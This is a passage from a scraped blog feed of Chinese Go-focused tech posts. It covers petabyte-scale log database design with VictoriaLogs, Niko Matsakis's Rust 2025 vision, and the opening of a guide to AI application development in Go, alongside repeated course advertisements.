都会产生一个独立的日志流。\n通过为每个日志流（通常由 service, hostname, pod_name 等标签组合定义）建立索引，数据库可以在查询时，只扫描那些与查询条件（例如 service=”api-gateway”）匹配的流。\n假设我们的系统中有 1000 个日志流，而查询只涉及其中的 100 个。需要扫描的数据量再次减少 90%：\n400 GB * (100 / 1000) = 40 GB 查询时间最终缩短至惊人的：\n40 GB / 4 GB/s = 10 秒 我们成功地将一个理论上需要 70 小时的查询，通过一系列精巧的工程设计，在单台机器上优化到了 10 秒以内！\n第四步：为“大海捞针”准备的布隆过滤器 (Bloom Filters) 对于需要查找唯一或稀有子串（如 trace_id, user_id, ip_address）的“大海捞针”式查询，全量扫描即使优化后也可能很慢。为此，专用数据库引入了布隆过滤器。\n布隆过滤器是一种空间效率极高的概率性数据结构，它可以快速地告诉你一个元素**“绝对不存在”或“可能存在”**于一个集合中。它可能会有误报（说“可能存在”但实际不存在），但绝不会漏报。\n通过为每个数据块（block）中的所有词元（word tokens）构建一个布隆过滤器，数据库可以在查询时：\n先检查数据块的布隆过滤器。 如果过滤器显示目标 trace_id 绝对不存在于此块中，则完全跳过对该数据块的读取和解压。 这可以将此类查询的性能再次提升高达 100 倍，实现亚秒级的响应。一个 64 TB 的压缩日志，其布隆过滤器索引的大小可能在 640 GB 到 6.4 TB 之间，这是一个典型的空间换时间策略。\n为何传统数据库在海量日志场景中注定失败？ 演讲清晰地指出了 PostgreSQL 或 MySQL 在处理大规模日志时的几个根本性缺陷，这些缺陷导致它们无法与专用数据库竞争。\n行式存储的原罪：如前所述，这导致了严重的 I/O 浪费和低下的压缩率。\n随机 I/O 的噩梦：由于缺乏自动的、基于日志特性的物理分区，查询一个时间范围内的特定日志流，在行式数据库中会退化成对磁盘上数百万个不同位置的随机读取。考虑到机械硬盘和 SSD 的随机 I/O 性能远低于顺序读取，这将导致灾难性的性能表现。\nB-Tree 索引的“水土不服”： * 体积庞大：B-Tree 索引的大小通常与数据本身的大小在同一个数量级。对于 PB 级数据，索引本身就需要 TB 级的内存才能高效工作，这在成本上是不可接受的。 * 不适合分析型扫描：B-Tree 擅长快速定位单条或少数几条记录，但对于需要扫描数百万行的分析型日志查询，其效率远低于专用日志数据库的稀疏索引（例如，仅索引每个数据块的起始/结束时间戳和流 ID）。\n致命的写放大 (Write Amplification)：传统数据库为了维护事务性和索引，会频繁地在磁盘上进行小块数据的原地更新（in-place updates）。这在现代 SSD 和 NVMe 硬盘上会触发“读取-修改-写入”的内部操作，一个 4KB 的逻辑写入可能导致 512KB 的物理写入，极其低效且会严重损耗硬盘寿命。而专用日志数据库通常采用**仅追加（append-only）**的写入模式，数据块一旦写入便不可变，这与现代存储硬件的工作原理完美契合。\n日志系统技术选型的建议 在深入探讨了 VictoriaLogs 的设计哲学后，Aliaksandr Valialkin 还在演讲的最后分享了他对当前主流开源日志数据库的看法，并回答了现场观众的提问。这部分内容为我们提供了宝贵的技术选型参考。\n主流开源日志数据库横向对比 当决定从传统数据库迁移时，开发者通常面临以下几个选择：\nElasticsearch： * **优点**：功能强大，生态成熟，是全文搜索领域的王者。 * **缺点**：资源消耗巨大，尤其是内存。Aliaksandr 指出，要在 Elasticsearch 中存储 PB 级的日志，“准备好为基础设施花费数千万美元”。其横向扩展的运维复杂度也相对较高。 Grafana Loki： * **优点**：设计理念新颖，只索引元数据（标签），不索引日志内容，旨在降低存储成本。与 Grafana 无缝集成。 * **缺点**：运维和配置相对复杂。更重要的是，它在处理**高基数（high cardinality）**日志字段（如 trace_id, user_id）时存在性能问题，这正是许多现代可观测性场景的核心需求。 ClickHouse： * **优点**：一个极其快速的开源列式分析数据库，性能卓越。 * **缺点**：灵活性是一把双刃剑。要用好 ClickHouse 存储日志，你需要成为半个专家，深入理解如何正确地设计表结构、选择分区键、设置排序键等，配置门槛较高。 VictoriaLogs (演讲者推荐)： * **优点**：吸收了上述方案的优点，同时致力于**简化运维**。它内置了所有前面提到的优化技术，并且默认开启，无需复杂配置。其架构设计使其能够轻松处理高基数数据，并实现了从树莓派到大型服务器的平滑扩展，而无需调整配置。 现场 Q\u0026amp;A 精华：深入 VictoriaLogs 现场观众的提问也帮助我们进一步了解了 VictoriaLogs 的一些关键特性和未来规划：\nQ: 为什么选择Go？\nA: 在过去十多年里，演讲者主要使用 Go 语言编写代码。Go 是他的首选编程语言。他喜欢 Go，因为Go是一门非常简洁且富有生产力的语言。用 Go 编写高性能的代码很容易，而且与其他之前使用的编程语言相比，Go 的代码通常更容易阅读和维护。演讲者喜欢编写有用的开源软件，并且喜欢让这些软件能够开箱即用，不需要查阅大量文档，也不需要进行复杂的配置。这是许多开源项目所欠缺的一个特性，但演讲者认为它对最终用户至关重要。他喜欢创建为速度和低资源消耗而优化的服务器。这也是他创建 VictoriaMetrics 的原因，它是一个用于指标（也称为时间序列数据）的开源数据库，非常高效和快速。最近，他又创建了 VictoriaLogs，这是另一个专门用于存储日志的数据库。 Q: VictoriaLogs 是否提供 UI？\nA: 是的。它内置了一个用于快速日志调查的 Web UI，并且提供了功能完备的 Grafana 插件，允许用户构建任意复杂的仪表盘。其查询语言是自研的 LogSQL，被设计得比 Loki 的 LogQL 等更强大，支持在单次查询中进行复杂的数据转换和多维度统计计算。 Q: 是否支持日志不可篡改（immutability）？\nA: VictoriaLogs 不支持对已存日志的修改，只支持未来的删除操作（且该功能可被禁用），这在一定程度上保证了数据的不可篡改性。但它目前没有提供基于密码学的签名验证功能。 Q: 多租户支持如何？\nA: VictoriaLogs 原生支持多租户，并且可以轻松处理数万级别的租户，这与 Loki 等因架构设计而在租户数量上受限的系统形成了对比。 Q: 对于更大的存储需求（如单个 EC2 实例挂载 450TB 磁盘），你会如何选择？\nA: 演讲者建议，虽然技术上可行，但他会选择水平扩展。他认为单节点存储的数据量最好有一个平衡点（例如 16TB 的压缩数据），因为过大的单节点会给备份和恢复带来巨大的运维挑战（可能需要数小时）。 Q: 未来的路线图是什么？\nA: 近期最重要的主线功能是支持将历史日志分层存储到对象存储（如 S3）中。系统将能够透明地将冷数据归档到更廉价的存储，并在查询时无缝地拉取，进一步降低成本。至于是否会支持完全无本地磁盘、直接读写对象存储的模式，团队表示会在此功能实现后再做评估，因为需要解决对象存储带来的高延迟问题。 小结：为你的工作选择正确的工具 Aliaksandr Valialkin 的分享为所有处理大规模数据的 Go 开发者提供了清晰、深刻的工程指引：不要试图用一把锤子（通用关系型数据库）去拧所有的螺丝。理解问题的本质，并选择专为该问题设计的工具。\n对于日志处理，这意味着：\n拥抱专用数据库：当你每天的日志量超过 TB 级别，或者发现现有的日志系统运维成本高昂、查询缓慢时，从 PostgreSQL/MySQL 迁移到像 VictoriaLogs、ClickHouse 或 Loki 这样的专用系统，将带来数量级的成本节约和性能提升。 优先垂直扩展：在投入到复杂且昂贵的水平扩展（分布式集群）之前，先通过使用正确的单机软件，充分压榨现代硬件的潜力。这不仅能节省成本，还能极大地降低运维的复杂性。 正如演讲者所倡导的“小数据”运动理念：许多所谓的“大数据”问题，在正确的工具和架构面前，完全可以在单台计算机上被更简单、更高效地解决。 对于追求性能、效率和简洁性的 Go 开发者而言，这不仅是一次技术分享，更是一堂关于工程哲学的深刻课程。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/20/large-scale-logging-made-easy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/large-scale-logging-made-easy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/20/large-scale-logging-made-easy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/20/large-scale-logging-made-easy\"\u003ehttps://tonybai.com/2025/08/20/large-scale-logging-made-easy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e当日志规模达到 PB 级别，传统的关系型数据库（如 PostgreSQL 或 MySQL）往往力不从心，不仅性能急剧下降，运维成本也变得难以承受。在 \u003ca href=\"https://froscon.org/\"\u003eFrOSCon\u003c/a\u003e 2025 大会上，VictoriaMetrics 的联合创始人兼CTO、fasthttp作者、资深 Go 工程师\u003ca href=\"https://github.com/valyala\"\u003eAliaksandr Valialkin\u003c/a\u003e 发表了题为“\u003ca href=\"https://www.youtube.com/watch?v=mhMgbMhXv80\"\u003e大规模日志处理变得简单\u003c/a\u003e”的演讲，深入剖析了专为日志设计的数据库如何通过一系列精巧的工程设计，实现单机处理 PB 级数据的惊人性能。\u003c/p\u003e","title":"日志查询从 70 小时到 10 秒？VictoriaMetrics 联创揭示 PB 级日志处理性能奥秘"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/18/rust-in-2025\n大家好，我是Tony Bai。\n2025 年 5 月 15 日，Rust 语言迎来了其 1.0 版本发布的十周年纪念日。这是一个充满里程碑意义的时刻，不仅是对Rust过去十年辉煌成就的回顾，更是展望未来的关键节点。值此之际，Rust 语言团队负责人、核心开发者 Niko Matsakis 发表了一系列题为“Rust in 2025”的纲领性博客文章，系统性地阐述了他个人对 Rust 未来发展的深邃思考。本文将融合 Niko 在十周年庆典上的感言与“Rust 2025”系列的技术蓝图，和大家一起解读一下Niko对下一个时代Rust演进路径的擘画。\n回望十年 —— 指引 Rust 航程的两大“北极星” 任何对未来的展望，都必须植根于对过去的深刻理解。在十周年庆典的感言中，Niko Matsakis 将 Rust 的非凡成功，归功于其传奇创始人 Graydon Hoare 从一开始就为这门语言设定的两个坚定不移的“北极星”。它们不仅塑造了 Rust 的技术内核，更铸就了其独特的社区文化。\n技术北极星：拒绝妥协，“我们可以拥有好东西” Graydon Hoare 最初为 Rust 设定的目标是“创建一种‘不会吃掉你衣物’的系统编程语言”。这个看似风趣的目标背后，是一种对行业“常识”的根本性挑战。Niko 将其精炼为一句充满信念的口号：“是的，我们可以拥有好东西 (Yes, we can have nice things)”。\n这句话的深层含义在于，Rust 拒绝接受在软件开发中长期存在的、看似不可避免的“魔鬼交易”：\n性能 vs. 安全： 传统观念认为，要获得 C/C++ 般的极致性能和底层控制力，就必须放弃内存安全，开发者需要像走钢丝一样，为每一个内存操作的正确性负全责。 抽象 vs. 效率： 高级语言如 Java 或 Go 提供了垃圾回收和丰富的抽象，带来了更高的生产力，但在性能敏感的“基础软件”领域，开发者又必须小心翼翼地规避其抽象带来的性能开销，比如 GC 停顿(STW)。 Rust 的技术北极星，就是要在这一点上实现突破。它通过借鉴 C++ 的“零成本抽象”理念，并独创性地引入所有权、借用和生命周期等概念构成的类型系统，实现了编译期的内存安全保证。这使得开发者能够像使用 OCaml 等高级语言一样，编写富有表现力、高度抽象的代码，同时又能获得媲美 C/C++ 的运行性能。这一定位，精准地命中了“基础软件”开发的核心痛点，也成为了 Rust 在过去十年中攻城略地的最强武器。\n文化北极星：社区的力量与谦逊的协作 如果说技术北极星定义了 Rust 的“硬实力”，那么文化北极星则塑造了其无与伦比的“软实力”。Niko 强调，Graydon 从项目伊始就认识到构建正确文化的重要性。这份远见卓识，集中体现在由他亲自撰写的《行为准则 (Code of Conduct)》中。\n“提供一个友好、安全和欢迎的环境，无论经验水平、性别认同和表达、残疾、国籍或其他类似特征如何……友善和礼貌应被优先考虑……并认识到‘很少有唯一的正确答案’，‘人们有不同意见’，‘每个设计或实现选择都带有权衡’。”\n这些条款不仅仅是空洞的口号，它们已经内化为 Rust 社区的行事准则。Niko 坦言，如果没有这种真正开放、尊重的协作氛围，Rust 绝不会是今天的样子。无数伟大的想法——从 Brian Anderson 创造的、沿用至今的 #[test] 语言基础设施，到 Sophia Turner 和 Esteban Kuber 对编译器错误信息的革命性改进——都源于社区成员的自发贡献。\nNiko 分享了一个极具代表性的故事，来诠释这种“集体所有”的文化。2024 年，当计算机科学顶级学术组织 ACM 将其 SIGPLAN 软件奖授予 Rust 时，一个难题出现了：获奖名单上应该写谁的名字？核心贡献者们无法达成一致，提出的名单从数千人到“空无一人”。最终，这份荣誉归于一个由领导力委员会决定的名单，并以 “所有过去与现在的 Rust 贡献者” 结尾。\n这个故事完美地诠释了 Rust 的成功之道：它是一场由全球成千上万开发者共同参与的、去中心化的伟大协作。这种文化，是 Rust 能够持续进化、不断吸纳新思想的根本保障。\n2025 使命 —— 聚焦基础软件，深化语言哲学 在“两大北极星”的持续指引下，Niko Matsakis 在其“Rust in 2025”系列中，为 Rust 的下一个发展阶段确立了更加聚焦的核心使命：显著降低编写和维护“基础软件 (Foundational Software)”的门槛。\n所谓基础软件，即“构成其他一切软件基石的部分”。Rust 如今已在这一领域遍地开花：\n云原生基础设施： AWS 的几乎所有服务背后都有 Rust 的身影，其 Firecracker 微型虚拟机更是完全由 Rust 构建。 开发者工具链： 从命令行工具到大型构建系统，Rust 正在重塑开发者的工作流。 终端应用与嵌入式： 亚马逊 PrimeVideo 在 Web 端使用 Rust 编译的 WebAssembly 播放视频；在嵌入式领域，Rust 的应用也已“上天入海”。 操作系统内核： Windows 和 Linux 两大主流操作系统内核，都已开始集成 Rust 代码。 为了让 Rust 在这条道路上走得更远，Niko 提出了几个关键的指导原则，它们可以被看作是 Rust 核心设计哲学的深化与具体化。\n原则一：人体工程学飞轮 —— 用“拉伸目标”驱动普适性改进 一个有趣的观点是，Niko 认为尽管 GUI（如 Dioxus, Tauri）或 Web 前端（如 Leptos）可能永远不会是 Rust 的“最佳应用场景”，但这些高层应用的探索对 Rust 而言至关重要。\n他将此称为“拉伸目标 (Stretch Goals)”。这些项目试图将 Rust 推向其舒适区之外，必然会对其人体工程学 (ergonomics) 提出更高的要求。为了在这些领域与 JavaScript/TypeScript 等语言竞争，Rust 必须变得更简洁、更方便。而这些为了满足高层应用而进行的改进——无论是更强大的宏系统、更灵活的类型系统，还是更智能的编译器——最终会“涓滴”下来，惠及所有 Rust 开发者，包括那些专注于编写内核模块或网络服务的底层系统工程师。这是一个正向的“人体工程学飞轮”。\n原则二：全栈覆盖 —— 单一技术栈的生产力红利 Niko 观察到一个趋势：许多团队最初只打算在某个对延迟敏感的特定服务（如 Discord 的数据平面）中使用 Rust，但最终却将其扩展到整个技术栈。原因在于，一旦团队跨过了最初的学习曲线，Rust 的生产力相当可观。使用单一语言可以共享库、工具和知识，从而极大地降低了维护成本和认知负荷。正如 Niko 所说：“简单的代码，无论用何种语言编写，都是简单的。” 确保 Rust 在高层应用中也“足够好用”，是在为用户提供构建全栈应用的能力，这本身就是一个巨大的价值主张。\n原则三：“平滑的迭代式深化 (Smooth, iterative deepening)” 这是 Niko 提出的一个核心设计哲学，也是对 Rust 学习曲线问题的直接回应。他理想中的用户体验应该是：\n上手简单： 用户可以快速启动并运行一个简单的项目。 渐进深入： 当项目变得复杂，用户需要更多控制权时，他们应该能够以一种局部化的方式进行优化或重构，而无需一次性学习大量复杂的背景知识。 这个过程应该是“平滑”的，像走在一个缓坡上，而不是面对一面“悬崖”。许多技术要么上手极难，要么从“简单模式”切换到“专家模式”时需要彻底重写或学习一套全新的概念。Rust 并非总是能完美做到这一点，但这是其持续努力的方向。\n技术蓝图 —— 以“可扩展编译器”实现“丝滑互操作” 如果说“赋能基础软件”是战略目标，那么 Niko 提出的技术蓝图就是实现这一目标的具体战术。其核心可以概括为一句话：通过构建一个“可扩展的编译器”，实现“丝滑流畅的语言互操作 (silky smooth language interop)”。\n核心问题：基础软件生于一个多语言世界 Niko 清醒地认识到，基础软件的世界是异构的。C 语言长期以来是计算世界的“通用语 (lingua franca)”，而 C++ 则构建了庞大的软件帝国。Rust 若想在这些领域取得成功，就不能成为一个孤岛，而必须成为一个优秀的“连接者”。\n注：在成为一个优秀“连接者”的道路上，Go恰恰是做的不够好的那一个！\n他将语言互操作的需求分为两大场景：\n场景一：最小公分母 (Least Common Denominator, LCD)\n目标： “一次编写，多处使用”。比如，用 Rust 编写一个核心业务逻辑库，然后将其打包成 SDK，供 Android (Kotlin)、iOS (Swift)、Web (WASM) 和桌面端调用。 特点： 调用方向主要是单向的（从其他语言到 Rust），暴露的 API 相对简单，易于在不同语言中惯用地表达。 愿景：“语言互操作领域的 serde”。 Niko 提出了一个极具启发性的构想。正如 serde 库定义了一套通用的序列化/反序列化 Trait (Serialize, Deserialize)，而具体的数据格式（JSON, YAML 等）则由社区以独立的 crate 实现一样。他也期望能有一个核心的互操作框架，定义通用的 API 规范，然后由社区为不同的目标语言（Python, Java, Swift 等）开发具体的“后端”实现。 场景二：深度互操作 (Deep Interop)\n目标： 与某一特定语言进行深度、双向的集成。 特点： 通常发生在用 Rust 逐步替换大型 C++ 或 Java 应用的模块时，或者在像 Linux 内核这样的 C 项目中嵌入 Rust 代码。这需要处理复杂的类型、内存模型和调用约定。 重点：C 和 C++ 是重中之重。 由于历史原因，这两个语言构成了现有基础软件的最大存量。Niko 对 cxx、crubit 等项目以及 Rust 基金会的“Rust-C++ 互操作性倡议”给予了高度评价。 核心解决方案：“可扩展编译器 (The Extensible Compiler)” 如何实现上述宏大的互操作目标？其他语言（如 Swift/Zig 对 C/C++）的做法是，将对特定语言的支持“烘焙 (bake it in)”进编译器。Niko 认为 Rust 应该走一条更具自身特色的道路——构建一个可扩展的编译器。\n这个构想的本质，是对现有的过程宏（procedural macros）机制进行一次彻底的“超级充电”。目前的过程宏非常强大，但其接口极其简单：“输入一堆 Token，输出一堆 Token”。它对编译器的内部状态一无所知。Niko 设想的未来过程宏（或者说编译器插件）将拥有前所未有的能力：\n检查类型信息： 这是最大的突破。宏将能够查询编译器已经推断出的类型信息，从而做出更智能的代码生成决策。这将彻底改变 ORM、RPC 框架和 FFI 绑定的编写方式。 按需生成代码： 宏将能够在编译的更后期阶段（如单态化 monomorphization）被调用，根据具体的类型实例化请求来生成代码。这意味着可以避免编译大量永远不会被使用的模板代码，同时能与编译器的优化过程更紧密地集成。 影响诊断信息和 Lint： 宏将能向编译器提供信息，以生成更贴近用户原始代码的、高质量的错误和警告信息，而不是目前常常出现的、令人困惑的宏展开后代码的错误。 定制语言规则： 在更遥远的未来，甚至可能允许宏在一定程度上定制方法分发等语言核心行为，为领域特定语言（DSL）的嵌入提供无限可能。 这个“可扩展编译器”的愿景，其影响远不止于语言互操作。它将赋能社区，以 crate 的形式创造出今天难以想象的各种工具和库。Niko 以 F# 的类型提供者 (Type Providers) 为例，展示了这种能力可以如何彻底改变开发者与外部数据源（如数据库、Web API）的交互方式。\n注：感叹一下！过程宏如今已经足够复杂了！按这个思路下去，未来将可能更复杂:(，心疼一下过程宏的开发者！不过，对于过程宏的最终用户，也许这能够提供更强大、更智能、更用户友好的功能。\n结论 —— 稳定性与进化，无畏地创造未来 “没有停滞的稳定性 (Stability without stagnation)”是 Rust 最重要的价值观。在我看来，一种语言一旦停止进化，它就开始死亡。\nNiko Matsakis 的这句话，为整个“Rust 2025”愿景提供了最终的注脚。这份蓝图，正是 Rust 践行“稳定性与进化”并存理念的生动体现。\n它同样展现了一种成熟和自信的姿态。Niko 明确表示，我们不需要“Rust 福音派特别行动队 (Rust Evangelism Task Force)”。Rust 的目标不是说服全世界放弃其他语言，而是让 Rust 与其他语言更好地协同工作。当向现有项目添加 Rust 变得异常简单时，它的价值自然会吸引开发者。这是一种基于实力的吸引，而非基于宣传的推广。\n在十周年的感言结尾，Niko 也分享了他的个人感悟。作为 Rust 的核心开发者，他们每天面对的是无尽的 Bug、不符合人体工程学的设计和永无休止的 RFC 讨论。有时，这会让人感到沮丧。但他发现，唯一的“解药”，就是走出去和真实的用户交流，去看看大家正在用 Rust 构建的那些令人惊叹的东西。\n那一刻，他们会再次记起，这一切的最终目的，是赋能人们去构建和重构我们赖以生存的基础软件。或者，用 Felix Klock 的经典名言来说，就是去**“无畏地创造 (hack without fear)”**。\nRust 的第一个十年，已经证明了其“北极星”的正确性。而“Rust 2025”愿景，则为第二个十年的航程，设定了清晰、务实且激动人心的航向。这场关于 Rust 未来的对话，不仅关乎一门编程语言，更关乎我们如何构建一个更可靠、更高效、更安全的数字世界。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/19/rust-in-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/rust-in-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/18/rust-in-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/18/rust-in-2025\"\u003ehttps://tonybai.com/2025/08/18/rust-in-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2025 年 5 月 15 日，Rust 语言迎来了\u003ca href=\"https://blog.rust-lang.org/2025/05/15/Rust-1.87.0/\"\u003e其 1.0 版本发布的十周年纪念日\u003c/a\u003e。这是一个充满里程碑意义的时刻，不仅是对Rust过去十年辉煌成就的回顾，更是展望未来的关键节点。值此之际，Rust 语言团队负责人、核心开发者 Niko Matsakis 发表了一系列题为“Rust in 2025”的纲领性博客文章，系统性地阐述了他个人对 Rust 未来发展的深邃思考。本文将融合 Niko 在十周年庆典上的感言与\u003ca href=\"https://smallcultfollowing.com/babysteps/series/rust-in-2025/\"\u003e“Rust 2025”系列的技术蓝图\u003c/a\u003e，和大家一起解读一下Niko对下一个时代Rust演进路径的擘画。\u003c/p\u003e","title":"Rust 2025 深度解读：在十周年里程碑上，Niko Matsakis 如何擘画下一个时代的灵魂与蓝图？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/18/ai-app-dev-guide-for-gopher\n大家好，我是Tony Bai。\n过去两年，人工智能（AI）以前所未有的姿态，从学术的象牙塔走入了软件工程的每一个角落。以大语言模型（LLM）为代表的生成式AI以及智能体AI，正在重塑我们开发、交付甚至构思软件的方式。\n作为一个 Gopher，我们习惯于在云原生、微服务的世界里追求极致的性能与简洁。但当我们抬起头，看到 AI 的浪潮席卷而来，看到 Python 生态的繁荣，心中难免会产生疑问：\nGo 语言在 AI 时代的位置在哪里？ 我们现有的技能树，如何与 AI 的新范式结合？ 如果现在要入局 AI，一条清晰、高效、不走弯路的学习路径是怎样的？ 这篇文章，就是我为你准备的答案。它不是一篇制造焦虑的快餐文，而是一份力求全面、客观、深入的“入局指南”。我们将系统性地梳理 Go 在 AI 时代的定位、生态全景，并为你规划一条从入门到实践的完整路径。\n如果你准备好了，就请泡上一杯咖啡，让我们开始这次深度探索。\n战略定位：Go 在 AI 应用开发中的“生态位” 首先，我们必须清晰地认识到，在 AI 领域，不同的编程语言扮演着不同的角色。Go 的核心价值不在于“模型研究”，而在于**“模型能力的工程化与产品化”**。\n当一个强大的预训练模型（如 GPT-5、Claude Opus 4.1或Google Gemini 2.5 Pro）通过 API 暴露出来后，它就成了一种新的“计算资源”。如何高效、稳定、大规模地调用这种资源，并将其无缝集成到现有的软件系统中，这正是 Go 的主战场。\nGo 的四大核心优势，决定了它在这个生态位上的不可或缺性：\n性能与并发： AI 应用后端往往是高并发、I/O 密集的，Go 的并发模型和性能表现是其构建健壮服务的基础。 部署与运维： 静态编译的单一二进制文件，完美契合云原生时代的容器化部署，极大降低了 AI 服务化的运维成本。 网络与工具链： 成熟的 net/http 库和强大的工具链，使其成为编排复杂 AI 工作流、构建 API 网关的理想选择。 工程化与稳定性： 静态类型和清晰的错误处理，为构建大型、可靠、可维护的 AI 系统提供了保障。 结论： Gopher 的战场不在于和 Python 争夺“炼丹炉”，而在于成为将 AI 能力输送到千行百业的“工程管道”和“坚固引擎”。\n生态全景：Gopher 的 AI “武器库”详尽盘点 要入局，先看牌。当前 Go 的 AI 生态已经发展到了什么程度？下面是一份详尽的清单，建议收藏。\n1. 主流大模型 Go SDK 这是我们与 AI 对话的“官方桥梁”。\nOpenAI (GPT 系列, DALL·E, Whisper等):\n官方 Go SDK: github.com/openai/openai-go Anthropic (Claude 系列):\n官方 Go SDK: github.com/anthropics/anthropic-sdk-go Google (Gemini, PaLM 等):\nGoogle AI Go SDK: google.golang.org/genai(https://github.com/googleapis/go-genai) (用于 ai.google.dev 上的模型) 字节跳动 (豆包大模型):\n火山引擎 Go SDK: github.com/volcengine/volcengine-go-sdk Cohere:\n官方 Go SDK: github.com/cohere-ai/cohere-go 2. 大模型应用框架 它们是构建复杂应用的“脚手架”。\nlangchaingo: LangChain 的 Go 实现 (github.com/tmc/langchaingo)，提供了 Chains, Agents, RAG 等核心组件，是目前 Go 社区最主流的选择。 cloudwego/eino: 字节跳动 CloudWeGo 团队开源的框架 (github.com/cloudwego/eino)，更侧重于工程化实践和性能优化。 3. 本地化与私有部署方案 让你在本地就能拥有强大的 AI 能力。\nOllama: (ollama.ai) 让你能一键在本地运行 DeepSeek R1，Llama 4, Mistral, Gemma, gpt-oss，qwen3 等顶级开源模型。它本身就是用 Go 写的，是 Gopher 的“亲儿子”。 LocalAI: (localai.io) 一个 OpenAI 兼容的本地推理引擎，可以用同样的 API 格式调用本地模型。 4. 向量数据库与 RAG 生态 这是让 LLM 拥有“私有知识”的关键。\nGo 客户端支持： 主流向量数据库如 Weaviate, Qdrant, Milvus, Pinecone, Chroma 等均提供功能完备的 Go 客户端。 Go 原生项目： 值得一提的是，Weaviate 和 Milvus 这两个顶级的开源向量数据库，其核心后端都是用 Go 语言开发的，再一次证明了 Go 在 AI 基础设施领域的强大实力。 5. 模型上下文协议（MCP）生态 这是一个旨在标准化 LLM 与外部世界（工具、数据）连接的新兴生态，极具潜力。\nMCP (Model Context Protocol): 它定义了一套标准的 Client-Server 协议，让 LLM 应用可以像访问 Web API 一样，以一种统一、安全、可发现的方式获取外部上下文信息。 MCP官方 Go SDK: github.com/modelcontextprotocol/go-sdk，提供了构建 MCP 客户端和服务端所需的核心库。 官方注册中心 (Registry): github.com/modelcontextprotocol/registry，这是一个官方维护的 MCP 服务描述仓库，类似于 Protobuf 的公共 API 定义，便于发现和集成第三方的 MCP 服务。 学习路径：Gopher AI 入局三步走 有了武器，我们该如何规划学习路径？我建议分三步走：\n第一步：掌握AI应用开发基础 这是所有 AI 应用的起点，目标是让你能独立构建出功能完整的、指令驱动的 AI 应用。你需要掌握：\nLLM 核心概念： 什么是对话、消息、角色、Token？ OpenAI 兼容 API： 这是业界的事实标准，学会它，你就能和市面上 90% 的模型对话。 Prompt 工程基础： 学习如何通过角色扮演、思维链等技巧，写出能让 LLM 精准理解你意图的 Prompt。 Go SDK 使用： 学会用 openai/openai-go 等主流 SDK 替代裸调 API，提升开发效率。 应用框架初探： 了解 langchaingo和eino 等框架的价值，学会用它来组织和简化你的应用逻辑。 第二步：精通高级应用模式 在掌握基础后，你需要学习几种最核心的、能让你的应用能力产生质变的高级模式：\n检索增强生成 (RAG): 如何通过外挂向量数据库，让 LLM 能够基于你的私有文档（如公司内部 Wiki、项目代码）来回答问题，解决模型知识局限和幻觉问题。 AI Agent 开发： 学习 ReAct 等工作流原理，构建能够自主思考、规划、调用工具的智能体，让你的应用从“听指令”进化到“自主完成任务”。 第三步：探索前沿与底层 当你能熟练构建应用和智能体后，可以开始探索更前沿或更底层的领域：\n多模态开发： 如何处理和生成图像、音频等多模态数据。 模型微调 (Fine-tuning): 了解如何用自己的数据对开源模型进行微调，以适应特定任务。 AI 基础设施： 深入了解 Ollama、向量数据库等 Go 项目的实现原理。 结语：从指南到你的第一行 AI 代码 读到这里，我相信你对 Go 语言在 AI 时代的版图和你的个人学习路径，已经有了一张清晰的、升级版的地图。这份指南为你描绘了全局，盘点了资源，规划了路径。\n但地图终究只是地图。真正的探索，始于你写下第一行代码的那一刻。\n理论和现实之间，总有一段需要手把手引导的距离。为了帮助你系统、深入且不留死角地走完这张全新的“三步走”地图，我将这份指南的全部核心内容，精心打磨、扩充和升华，形成了一门内容极其详尽的、体系化的微专栏——《AI 应用开发第一课》。\n这门课程，就是我为你铺设的那条通往 AI 世界的第一段高速公路。\n在这门超过 10 讲的课程里，我们追求的不再是“浅尝辄止”，而是“逐个击破”：\n我们只讲最核心的： 课程将聚焦于 LLM 交互准则、Prompt 工程、Go SDK 和应用框架 这四大基石，确保你学到的都是“最小完备”的必备技能。 我们用整整三讲的篇幅，带你死磕 API 交互的每一个细节，让你对非流式、流式、多轮对话的 Go 实现都了如指掌。 我们用两讲的篇幅，带你深入 Prompt 工程的“道”与“术”，从核心原则到进阶技巧，让你写出的 Prompt 拥有“灵魂”。 我们用三讲的篇幅，带你遨游 Go AI 